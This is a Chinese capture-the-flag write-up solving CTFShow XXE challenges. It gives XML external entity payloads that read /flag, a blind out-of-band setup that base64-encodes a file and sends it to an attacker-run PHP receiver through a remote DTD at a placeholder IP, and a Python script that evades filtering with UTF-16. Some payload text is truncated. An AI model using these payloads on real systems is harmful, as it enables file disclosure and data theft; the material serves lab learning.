CTFShow XXE
前言
XXE 的漏洞在我的上一篇文章有讲过,这里就不多说,直接看题
XXE外部实体注入
web373

有回显的文件读取
xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<paidx0>
<ctfshow>&xxe;</ctfshow>
</paidx0>

web374~376

无回显的文件读取,禁用了版本号,问题不大不写版本号就是了
在公网上构造以下几个文件
x.php
<?php
$content = $_GET['1'];
if(isset($content)){file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{echo 'no data input';
}
xxe.xml
<!ENTITY % all
"
>
%all;
构造 payload
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/xxe.xml">
%remote;
%send;
]>
简单解释一下,就是通过引用实体的顺序来实现数据外带,最后将文件写入到 flag.txt 里面


web377

多过滤了 http 头,利用 utf-16 编码
import requests
url = 'http://31bfa099-0c5c-4d78-9477-6a6513953714.challenge.ctf.show:8080/'
payload = '''
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

web378


登录框抓个包,发现是回显xml 形式,而且是回显 username的值
payload
xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>
username 值被替换

总结
XXE 的题就暂时告一段落了,XXE和 SQL注入用法类似,而且危害也很大,可以信息泄露,DOS攻击,内网探测等等。
也是研究了几天才搞明白,其实数据外带也是有模板的,就像 SQL注入 时的构造语句一样,弄明白就不难了
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
